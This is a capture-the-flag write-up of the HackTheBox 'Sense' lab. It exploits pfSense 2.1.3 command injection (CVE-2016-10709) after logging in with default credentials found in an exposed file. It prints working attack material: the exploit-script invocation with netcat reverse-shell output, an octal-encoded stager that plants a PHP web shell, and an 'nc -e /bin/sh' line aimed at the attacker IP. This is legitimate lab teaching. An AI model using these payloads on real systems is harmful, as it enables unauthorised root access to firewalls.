Posts Sense CTF Writeup
Post
Cancel

Sense CTF Writeup

Machine Info

This is a retired machine on HackTheBox. Machine IP: 10.129.69.54 Attacking machine IP: 10.10.14.49


Goals

To get the user and root flag.


Enumeration

A quick nmap shows us it has 2 ports open, 80 and 443 for HTTP and HTTPS respectively.

1
2
3
4
5
6
7
8
$ nmap -p 1-65535 10.129.69.54
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-24 04:28 EST
Nmap scan report for 10.129.69.54
Host is up (0.28s latency).
Not shown: 65533 filtered ports
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

When we go to the page, it shows us the pfSense login screen, it seems like this machine is running pfSense on it.

pfSense login

Maybe you are thinking: “We can just do a dictionary attack or brute force to get the credentials” but a critical thing is this is pfSense, if we do anything like that, we would just be blocked, just try it for yourself, don’t just trust me. Okay, let’s turn to gobuster for enumerating the secrets of the site.

1
2
$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -x php,html,js,txt,inc -t 30 --url https://10.129.69.54/ -k
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,inc -t 30 --url https://10.129.69.54/ -k

Note: The server’s SSL is self-signed, so we must use -k to ignore SSL certificate verification.

Running those 2 wordlists gives us the following list of files and directories (list has been reduced to a few files and directories, in reality, I got near 100 files):

1
2
3
4
5
/index.php (Status: 200)
/index.html (Status: 200)
/changelog.txt (Status: 200)
/tree (Status: 301)
/system-users.txt (Status: 200)

The file named system-users.txt file looks very promising. This is the content:

####Support ticket###

Please create the following user

username: Rohit

password: company defaults

A quick Google search will tell you that the default credentials for pfsense is admin:pfsense. It may be possible that the user rohit is still using the default password. Login with username rohit and password pfsense.

pfSense Dashboard


CVE-2016-10709

Now, we see that the version of pfSense the server is running is 2.1.3, this version is vulnerable to RCE and command injection through the status_rrd_graph_img.php page.

Using searchsploit to search for the exploit script in the local exploitdb (Kali Linux only).

1
2
3
4
5
6
7
$ searchsploit pfsense 2.1.3
------------------------------- ---------------------------------
 Exploit Title                 |  Path
------------------------------- ---------------------------------
pfSense < 2.1.4 - status_rrd_ | php/webapps/43560.py
------------------------------- ---------------------------------
Shellcodes: No Results

This script is located at:

1
2
$ find / -name 43560.py 2>/dev/null
/usr/share/exploitdb/exploits/php/webapps/43560.py

I suggest reading the script before going through with the exploitation. The script will open a reverse shell on the target, and we have to specify a bunch of things like the remote host, local host (attacking machine), local port (the port we will be listening on), username (rohit) and password (pfsense).

On a seperate terminal, open a netcat process:

1
2
$ nc -nvlp 1312
listening on [any] 1312 ...
1
2
3
4
$ python3 ~/43560.mod.py --rhost 10.129.69.54 --lhost 10.10.14.49 --lport 1312 --username rohit --password pfsense
CSRF token obtained
Running exploit...
Exploit completed

At this point, on the nc terminal you should see:

1
2
3
4
5
6
$ nc -nvlp 1312
listening on [any] 1312 ...
connect to [10.10.14.49] from (UNKNOWN) [10.129.69.54] 10692
sh: cant access tty; job control turned off
# whoami
root

That’s it, no escalation needed as pfSense is running as root. Now we can see the root flag as well as the user flag.

1
2
3
4
# cat /root/root.txt
d08c32a5d4f8c8b10e7b1acensor
# cat /home/rohit/user.txt
8721327cc232073b40dd9ccensor

Alternative way

The above script is using the database param of the vulnerable page, we can use the graph param as well. I have a more primitive way to do this. What I did was:

  1. Craft a PHP web shell
1
<?php system($_GET("cmd")); ?>
  1. Upload the web shell to the DocumentRoot

The payload will put a simple webshell into the DocumentRoot, if you do not know where the DocumentRoot is, read the pfSense source code, preferrably version 2.1.3.

1
echo '<?php system($_GET["cmd"]); ?> ' > /usr/local/www/shellexec2.php

Octal-encode the payload using:

1
2
3
4
5
stager = 'echo \'<?php system($_GET["cmd"]); ?> \' > /usr/local/www/shellexec2.php'
encoded_stager = ''
for c in stager:
 encoded_stager += "\\%03d" %(int(oct(ord(c))))
print (encoded_stager)

Which gave us:

1
\145\143\150\157\040\047\074\077\160\150\160\040\163\171\163\164\145\155\050\044\137\107\105\124\133\042\143\155\144\042\135\051\073\040\077\076\040\047\040\076\040\057\165\163\162\057\154\157\143\141\154\057\167\167\167\057\163\150\145\154\154\145\170\145\143\062\056\160\150\160

The actual payload:

1
file | printf '{insert above octal string here}' | sh | echo

You should read the pfSense version 2.1.3 source code to see where your payload will end up in. Here is the abbreviated source code for the file /usr/local/www/status_rrd_graph_img.php. Notice how the graph GET parameter gets around.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
...
/* this is used for temp name */
if ($_GET['graph']) {
	$curgraph = $_GET['graph'];
} else {
	$curgraph = "custom";
}

...

if((strstr($curdatabase, "-traffic.rrd")) && (file_exists("$rrddbpath$curdatabase"))) {
	/* define graphcmd for traffic stats */
	$graphcmd = "$rrdtool graph $rrdtmppath$curdatabase-$curgraph.png ";
...

/* check modification time to see if we need to generate image */
if (file_exists("$rrdtmppath$curdatabase-$curgraph.png")) {
	if((time() - filemtime("$rrdtmppath$curdatabase-$curgraph.png")) >= 15 ) {
		if($data)
			exec("$graphcmd 2>&1", $graphcmdoutput, $graphcmdreturn);
...
?>

Explaination:

  • The first part of our payload (file) is just a string that represents the normal value for the graph parameter (a filename).
  • The second part is printf '{octal payload}', this will convert all the octal strings into plaintext. Alternatively, you can use hex encoding (\xHH) or even Unicode encoding instead of octal encoding (\NNN).
  • Then we pipe that payload into sh to execute it.
  • The final part is echo. This is just so that the rest of the original command doesn’t get mixed up with our command.

Note: Why do we have to use Python reverse shell here:

  • The machine uses pfSense 2.1.3, so there is no bash: any method involving redirecting stdin, stdout directly to the /dev/tcp device is out of the question.
  • The machine’s nc cannot be used to make a reverse shell (nc -e /bin/sh 10.10.14.49 1311). It is because the machine is running FreeBSD and it’s nc is not like traditional distros’ nc, FreeBSD’s nc doesn’t support the -e (execute) option, -e here means IPSec_Policy. Read the man page for this. Alternatively, you can use other ways to directly connect to the attacking machine if the machine doesn’t have Python: FreeBSD reverse shell
  1. Go to the webshell and execute all you want:

Root flag

User flag

Now, this is NOT recommended for real-world stuff, it would be easily detectable as we put a custom file into the machine.


Further Reading

  1. CVE-2016-10709 Detail
  2. CVE-2016-10709 ExploitDb
  3. CVE-2016-10709 Metasploit module
  4. printf man page: \NNN
  5. pfSense 2.1.3 source code
  6. SentryWhale’s reverse shell cheat sheet
This post is licensed under CC BY 4.0 by the author.